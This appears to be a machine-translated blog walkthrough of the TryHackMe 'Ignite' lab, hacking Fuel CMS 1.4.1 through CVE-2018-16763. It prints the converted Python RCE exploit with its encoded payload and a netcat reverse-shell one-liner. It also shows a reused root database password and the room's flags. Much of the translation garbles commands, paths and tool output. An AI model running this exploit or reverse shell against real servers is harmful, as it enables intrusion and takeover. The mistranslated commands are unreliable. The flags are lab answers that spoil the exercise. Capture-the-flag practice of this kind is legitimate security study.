[CVE-2018-16763] Fuel CMS 1.4.1-Convirtió la ejecución del código remoto (1) a Python 3 y lo pirateé! Tryhackme enciende la redacción

[CVE-2018-16763] Fuel CMS 1.4.1-Convirtió la ejecución del código remoto (1) a Python 3 y lo pirateé! Tryhackme enciende la redacción

Esta vez, intentaremos piratear CMS de combustible utilizando la vulnerabilidad en CVE-2018-16763.
La máquina de destino utiliza el Ignite de TryhackMe.
"Tryhackme-ignite: https://tryhackme.com/room/ignite "

Tenga en cuenta que la explicación es spoilers.

Libros de referencia recomendados
\Amazon Prime Day ya está en marcha! /
Amazonas
Autor: Ipusiron
¥3,850 (A partir de 21:11 el 08/07/2025 | Amazon Research)
\Amazon Prime Day ya está en marcha! /
Amazonas
Autor: Justin Seitz, Autor: Tim Arnold, supervisado por: Mantani Nobutaka, Traducción: Arai Yu, Traducción: Kakara Hirosei, Traducción: Murakami Ryo
¥3,520 (A partir de las 12:26 el 07/07/2025 | Amazon Research)
\Amazon Prime Day ya está en marcha! /
Amazonas
Tabla de contenido

Preparación

Primero, seleccione "Máquina de inicio" para iniciar la máquina de destino.

Si se muestra la dirección IP, está bien.

¡Raíces!

Ahora buscamos la bandera.

User.txt

Primero, haremos escaneo de puerto con NMAP.

┌── (Hacklab㉿hackLab) -[~/TryhackMe/Ignite] └─ $ NMAP -PN -T4 -A 10.10.251.170 Inicio de NMAP 7.92 (https://nmap.org) a 2023-08-07 23:01 JST NMAP Scan Informe para 10.10.251.170 Host Hosts (0.25s Lating (0.25s Latence). No se muestra: 999 puertos TCP cerrados (conn-refundido) Puerto Estado Servicio Versión 80/TCP Open HTTP Apache Httpd 2.4.18 ((Ubuntu)) | _http-server-Header: Apache/2.4.18 (Ubuntu) | http-robots.txt: 1 Entrada no permitida | _/ combustible/ | _http-Title: Bienvenido a la detección del servicio de combustible CMS realizada. Informe cualquier resultado incorrecto en https://nmap.org/submit/. NMAP realizado: 1 dirección IP (1 host) escaneada en 53.84 segundos

Aquí hay un resumen de la información que puede leer.

  • 80: HTTP está abierto.
  • http-robots.txt existe. (Puede ser posible descubrir información útil)
  • Desde "_http-title: bienvenido a CMS de combustible", está claro que se está ejecutando en el sistema de gestión de contenido de combustible.

HTTP está abierto, así que verifíquelo en su navegador.
Puede ver que Fuel CMS versión 1.4 se está ejecutando.

Solo para estar a salvo, también echaré un vistazo a Robots.txt.
Parece que encontrará los puntos finales para la página de inicio de sesión aquí.

Encontré la página de inicio de sesión.

Intente iniciar sesión usando "Admin/Admin" como un ejemplo común.

Logré iniciar sesión. Fácil.

He visto mucho, pero no hay información particular.
He confirmado que la versión es 1.4 nuevamente.

Ahora, busquemos en SearchSploit.

┌── (Hacklab㉿hackLab)-[~/Tryhackme/Ignite] └─ $ SearchSploit Fuel CMS 1.4 ---- ---- ---- --- ----------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------- Ejecución (3) | PHP/WebApps/50477.py Fuel CMS 1.4.13 - inyección SQL ciega 'col' (autenticado) | PHP/WebApps/50523.txt Fuel CMS 1.4.7 - 'inyección SQL col' (autenticado) | php/webapps/48741.txt Fuel CMS 1.4.8 - 'Fuel_replace_id' SQL inyección (autenticado) | PHP/WebApps/48778.txt ----- ----------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------

Fuel CMS parece tener una vulnerabilidad que permite la ejecución del código remoto debido a la verificación de entrada inapropiada.
Aquí seremos el código de exploit escrito en Python.

Ahora, usemos esto para infiltrarse en el servidor.
Primero, copie el código.

┌── (Hacklab㉿hacklab)-[~/Tryhackme/Ignite] └─ $ Localate 47138 /home/hacklab/.cache/mozilla/firefox/yr8wkpln.default-esr/cache2/entries/8f026053f2471384208f49444898b7a4e7f607eeb /usR/sshare/exploitdb/exploits/weBapApps/weBapApps/47138. ┌── (Hacklab㉿hackLab)-[~/tryhackme/ignite] └─ $ cp /usr/share/exploitdb/exploits/linux/webapps/47138.py ./ ┌ ┌─ (hacklab㉿hackLab)-[~/intyhackme/ignite] └ $ ll 4 --rwx -x 1 Hacklab 1004 7 de agosto 23:30 47138.py

Quiero ejecutarlo en Python 3, así que usaré 2to3 para convertir el código.
Si no lo ha descargado, creo que es una buena idea descargarlo. (Puedes convertirlo tú mismo).

┌── (Hacklab㉿hackLab)-[~/Tryhackme/Ignite] └─ $ sudo apt-get install 2to3

Una vez que lo haya descargado, intente convertirlo.

┌── (Hacklab㉿hackLab) -[~/tryhackme/ignite] └─ $ 2to3 -w 47138.py/usr/bin/2to3: 3: deprecationwarning: el paquete lib2to3 está desesperado y no puede ser capaz de python 3.10+ de lib2to3.Main import RefactoringTool: omitir fijador opcional: idiots RefactoringTool: omitir fijador opcional: set_literal refactoringtool: omitir fijador opcional: ws_comma refactoringtool: refactorizado 47138.py --- 47138.py (original) +++ 47138.py (refactorizado) +import urllib.Request, urllib.parse, urllib.error url = "http://127.0.0.1:8881" def find_nth_overlapping (Haystack, aguja, n): @@ -20,8 +20,8 @@ return comienzo mientras 1: - xxxx = raw_input ('cmd:') - burp0_url = URL+"/combustible/páginas/select/? Filter =%27%2B%70%69%28%70%72%69%6E 6E%74%28%24%61%3D%27%73%79%73%74%65%6d%27%29%2B%24%61%28%27"+urllib.quote (xxx)) xxxx = input ('cmd:') + bURP0_URL = URL+"/combustible/páginas/select/? Filtro =%27%2B%70%69%28%70%72%69%6E%74%28%24%61%3D 27% 73%79%73%74%65%6d%27%29%2b%24%61%28%27 "+urllib.Parse.cote (xxxx)+"%27%29%2b%27 " proxy = {"http": "http://127.0.0.1:8080"} r = requests.get (burp0_url, proxies = proxy) @@ -31,4 +31,4 @@ begin = r.text [0:20] dup = find_nth_overlapp (r.text, begin, 2) - imprenta) Imprimir (R.Text [0: DUP]) RefactoringTool: Archivos que fueron modificados: RefactoringTool: 47138.py

He logrado convertirlo, creo que es más eficiente que reescribirlo cada vez. El archivo original es .bak.

┌── (HackLab㉿hackLab)-[~/TryhackMe/Ignite] └─ $ Ll Total 8 -rwxr-xr-x 1 Hacklab Hacklab 1043 7 de agosto 23:34 47138.py -rwxr-xr-x 1 Hacklab Hacklab 1004 7 de agosto 23:30 47138.py.Bak

Cambie la configuración de URL y proxy. (Los cambios incluyen "# cambio").

┌── (Hacklab㉿hackLab)-[~/tryhackme/Ignite] └─ $ Cat 47138.py # Exploit Título: Fuel CMS 1.4.1-Ejecución remota (1) # Fecha: 2019-07-07-19 # Exploit Autor: 0xd0ff9 # Vendor Home Page: Https://wwww.getfulcms.com/ # # Software/ # Software Lingui https://github.com/daylightstudio/fuel-cms/releases/tag/1.4.1 # versión: <= 1.4.1 # probado en: ubuntu-apache2-php5 # cve: cve-2018-16763 Solicitudes de importación importar urllib.request, urllib.parse, urllib.error url = "http://10.10.251.170" # cambia def find_nth_overLapping (Haystack, aguja, n): inicio = Haystack.find (aguja) mientras comienza> = 0 y n> 1: start = Haystack.find (aguja, inicio+1) n -= 1 return start while 1: xxxx = input ('cmd:') BURP0_URL URL+"/combustible/páginas/select/? Filtro =%27%2B%70%69%28%70%72%69%6E%74%28%24%61%3D 27% 73%79%73%74%65%6d%27%29%2b%24%61%28%27 "+urllib.Parse.cote (xxxx)+"%27%29%2b%27 " # proxy = {"http": "http://127.0.0.1:8080"} # cambio r = requests.get (BURP0_URL) # Change html = "<!DOCTYPE html> "htmlcharset = r.text.find (html) begin = r.text [0:20] dup = find_nth_overLapping (r.text, begin, 2) imprime (r.text [0: dup])

Cuando ejecuto Python, obtengo "CMD:" Así que reviso Whoami.

┌── (Hacklab㉿hackLab)-[~/Tryhackme/Ignite] └─ $ Python3 47138.py CMD: Whoami Systemwww-Data<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;"><h4> Se encontró un error de PHP</h4><p> Severidad: advertencia</p><p> Mensaje: preg_match (): el delimitador no debe ser alfanumérico o invertido</p><p> Nombre de archivo: controladores/pages.php (924): función creada por tiempo de ejecución</p><p> Número de línea: 1</p><p> Backtrace:</p><p style="margin-left:10px"> Archivo: /var/www/html/fuel/modules/fuel/controllers/pages.php(924): función creada por tiempo de ejecución<br /> Línea: 1<br /> Función: preg_match</p><p style="margin-left:10px"> Archivo: /var/www/html/fuel/modules/fuel/controllers/pages.php<br /> Línea: 932<br /> Función: array_filter</p><p style="margin-left:10px"> Archivo: /var/www/html/index.php<br /> Línea: 364<br /> Función: require_once</p></div>

Existe "SystemWWW-Data", por lo que puede ver que "www-data" es el usuario.

Veamos el directorio actual en PWD.

CMD: sistema PWD/var/www/html<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;"><h4> Se encontró un error de PHP</h4><p> Severidad: advertencia</p><p> Mensaje: preg_match (): el delimitador no debe ser alfanumérico o invertido</p><p> Nombre de archivo: controladores/pages.php (924): función creada por tiempo de ejecución</p><p> Número de línea: 1</p><p> Backtrace:</p><p style="margin-left:10px"> Archivo: /var/www/html/fuel/modules/fuel/controllers/pages.php(924): función creada por tiempo de ejecución<br /> Línea: 1<br /> Función: preg_match</p><p style="margin-left:10px"> Archivo: /var/www/html/fuel/modules/fuel/controllers/pages.php<br /> Línea: 932<br /> Función: array_filter</p><p style="margin-left:10px"> Archivo: /var/www/html/index.php<br /> Línea: 364<br /> Función: require_once</p></div>

Dado que es "System/Var/www/html", puede ver que está en "/var/www/html".

Ahora, quiero hacer un caparazón inverso, así que escucharé en 4444 con Kali.

┌── (Hacklab㉿hackLab) -[~] └─ $ NC -NLVP 4444 escuchando en [cualquiera] 4444 ...

Intente ejecutar el comando de shell inverso.

cmd: rm -f/tmp/f; mkfifo/tmp/f; cat/tmp/f |/bin/sh -i 2> & 1 | nc 10.18.110.90 4444>/tmp/f

Me las arreglé para obtener el caparazón. El usuario es data www.

┌── (Hacklab㉿hacklab) -[~] └─ $ NC -NLVP 4444 escuchando en [cualquiera] 4444 ... Conéctese a [10.18.110.90] desde (desconocido) [10.10.251.170] 34426 /bin /sh: 0: no puede acceder tty; El control de trabajo desactivó $ whoami www-data $ ls readme.md activos composer.json contribuyendo.md combustible index.php robots.txt

Dado que NC es una damista, obtendremos un caparazón interactivo.
(Hay algunas cosas inconvenientes, como no poder usar autocompletar con damshells).

$ python -c 'import pty; pty.spawn ("/bin/bash")' www -data@ubuntu:/var/www/html $ 

Se ve un poco mejor.

Use Control + Z para moverse al fondo.

www -data@ubuntu:/var/www/html $ ^z zsh: suspendido nc -nlvp 4444

Verifique la información actual de la terminal.

┌── (Hacklab㉿hackLab)-[~] └─ $ Echo $ Term XterM-256Color

Use el comando stty para enviar la entrada y la salida directamente, configúrelo para deshabilitar el eco sin procesar y reiniciar NetCat en primer plano.
Establezca la información del entorno que acaba de obtener con "Export Term = xterm-256Color".

┌── (Hacklab㉿hackLab) -[~] └─ $ Stty Raw -Co; FG [1] + Continúa NC -NLVP 4444 Término de exportación = xterm -256Color

A continuación, configure el caparazón.

www-data@ubuntu:/var/www/html $ export shell = bash

Ahora puede usar las teclas Autocompletar y Arrow.
Estas técnicas se describen en Miter Att & CK, por lo que podría ser una buena idea leerlas.

Una vez que haya hecho esto, busque la bandera.

www-data@ubuntu:/$ cd/home/www-data/www-data@ubuntu:/home/www-data $ ls flag.txt

¡Había una bandera!

www-data@ubuntu:/home/www-data $ gat flag.txt 6470e394cbf6dab6a91682cc8585059b

Respuesta

Root.txt

A continuación, intente aumentar los privilegios para rootear.

Busqué mucho pero no pude encontrarlo.
Hubo una descripción que podría ser un archivo con información de la base de datos escrita allí.

Primero, cree una base de datos en MySQL, importe el archivo Fuel/Install/Fuel_Schema.sql para instalar la base de datos CMS de combustible. Después de crear la base de datos, cambie la configuración de la base de datos en combustible/aplicación/config/database.php para que coincida con el nombre del host (por ejemplo, localhost), nombre de usuario, contraseña y base de datos con la nueva base de datos que creó.

Lo comprobaré por si acaso.

www-data@ubuntu:/home/www-data $ cat /var/www/html/fuel/application/config/datse.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); /* | ------------------------------------------------------------------- | DATABASE CONNECTIVITY SETTINGS | ------------------------------------------------------------------- | This file will contain the settings needed to access your database. | | For complete instructions please consult the 'Database Connection' | page of the User Guide. | | ------------------------------------------------------------------- | EXPLANATION OF VARIABLES | ------------------------------------------------------------------- | | ['dsn'] The full DSN string describe a connection to the database. | ['hostname'] The hostname of your database server. | ['username'] The username used to connect to the database | ['password'] The password used to connect to the database | ['database'] The name of the database you want to connect to | ['dbdriver'] The database driver. e.g.: mysqli. | Currently supported: | cubrid, ibase, mssql, mysql, mysqli, oci8, | odbc, pdo, postgre, sqlite, sqlite3, sqlsrv | ['dbprefix'] You can add an optional prefix, which will be added | to the table name when using the Query Builder class | ['pconnect'] TRUE/FALSE - Whether to use a persistent connection | ['db_debug'] TRUE/FALSE - Whether database errors should be displayed. | ['cache_on'] TRUE/FALSE - Enables/disables query caching | ['cachedir'] The path to the folder where cache files should be stored | ['char_set'] The character set used in communicating with the database | ['dbcollat'] The character collation used in communicating with the database | NOTE: For MySQL and MySQLi databases, this setting is only used | as a backup if your server is running PHP < 5.2.3 or MySQL < 5.0.7 | (and in table creation queries made with DB Forge). | There is an incompatibility in PHP with mysql_real_escape_string() which | can make your site vulnerable to SQL injection if you are using a | multi-byte character set and are running versions lower than these. | Sites using Latin-1 or UTF-8 database character set and collation are unaffected. | ['swap_pre'] A default table prefix that should be swapped with the dbprefix | ['encrypt'] Whether or not to use an encrypted connection. | | 'mysql' (deprecated), 'sqlsrv' and 'pdo/sqlsrv' drivers accept TRUE/FALSE | 'mysqli' and 'pdo/mysql' drivers accept an array with the following options: | | 'ssl_key' - Path to the private key file | 'ssl_cert' - Path to the public key certificate file | 'ssl_ca' - Path to the certificate authority file | 'ssl_capath' - Path to a directory containing trusted CA certificats in PEM format | 'ssl_cipher' - List of *allowed* ciphers to be used for the encryption, separated by colons (':') | 'ssl_verify' - TRUE/FALSE; Whether verify the server certificate or not ('mysqli' only) | | ['compress'] Whether or not to use client compression (MySQL only) | ['stricton'] TRUE/FALSE - forces 'Strict Mode' connections | - good for ensuring strict SQL while developing | ['ssl_options'] Used to set various SSL options that can be used when making SSL connections. | ['failover'] array - A array with 0 or more data for connections if the main should fail. | ['save_queries'] TRUE/FALSE - Whether to "save" all executed queries. | NOTE: Disabling this will also effectively disable both | $this-> DB-> last_query () y el perfil de consultas DB. | Cuando ejecuta una consulta, con esta configuración establecida en True (predeterminada), | CodeIgniter almacenará la declaración SQL para fines de depuración. | Sin embargo, esto puede causar un alto uso de memoria, especialmente si se ejecuta | Muchas consultas SQL ... Deshabilite esto para evitar ese problema. | | La variable $ activo_group le permite elegir qué grupo de conexión | hacer activo. By default there is only one group (the 'default' | | The $query_builder variables lets you determine whether or not to load | the query builder class. */ $active_group = 'default'; $query_builder = TRUE; $db['default'] = array( 'dsn' => '', 'hostname' => 'localhost', 'username' => 'root', 'password' => 'Mememe', 'Base de datos' => 'Fuel_schema', 'dbdriver' => 'mysqli', 'dbprefix' => '', 'pconnect' => false, 'db_debug' => (entorno! == 'Producción'), 'Cache_on' => falso, 'Cachedir' => '', 'Char_set' => = ',', ',', cache_on '=> falso,' cachedir '=>' ',' char_set ' 'dbcollat' => 'utf8_general_ci', 'swap_pre' => '', 'encrypt' => false, 'compress' => false, 'stricton' => false, 'failover' => array (), 'save_queries' => true); @include (tester_path.'config/tester_database'.ext);
  • Root: Mememe

Existe la posibilidad de que la contraseña sea la misma, por lo que la verificaré.

www-data@ubuntu:/home/www-data $ su root contraseña: root@ubuntu:/home/www-data#

Era lo mismo. Esto parece que puedes conseguir una bandera.

root@ubuntu:/home/www-data# cd/root root@ubuntu: ~# ll total 32 DRWX ------ 4 raíz root 4096 26 de julio de 2019 ./ DRWXR-XR-X 24 Root Root 4096 26 de julio de 2019 ../ -rw ----------- 1 raíz de raíz 357 26 de julio de 2019 .Bash_history ----------------- 1 Root 3106 Oct. .BASHRC DRWX -------- 2 Root Root 4096 26 de febrero de 2019 .Cache/ DRWXR-XR-X 2 Root Root 4096 26 de julio de 2019 .nano/ -rw-R--R-- 1 raíz de raíz 148 agosto de 2015 .Profile -rw-r-r-- 1 raíz raíz 34 jul 2019 raíz.txt

¡Encontré la bandera!

root@ubuntu: ~# cat root.txt b9bbcb33e11b80be759c4e8444862482d 

Respuesta

resumen

Esta vez, intentamos piratear el CMS de combustible utilizando la vulnerabilidad en CVE-2018-16763.
El contenido era todo básico, así que creo que fue bastante fácil.

Referencias y sitios

-

¡Comparte si quieres!

Quien escribió este artículo

Este es un blog que comencé a estudiar la seguridad de la información. Como nuevo empleado, sería feliz si pudieras mirar con un corazón amplio.
También está Teech Lab, que es una oportunidad para estudiar diversión de programación, por lo que si está interesado en el desarrollo de software, ¡asegúrese de echar un vistazo!

Tabla de contenido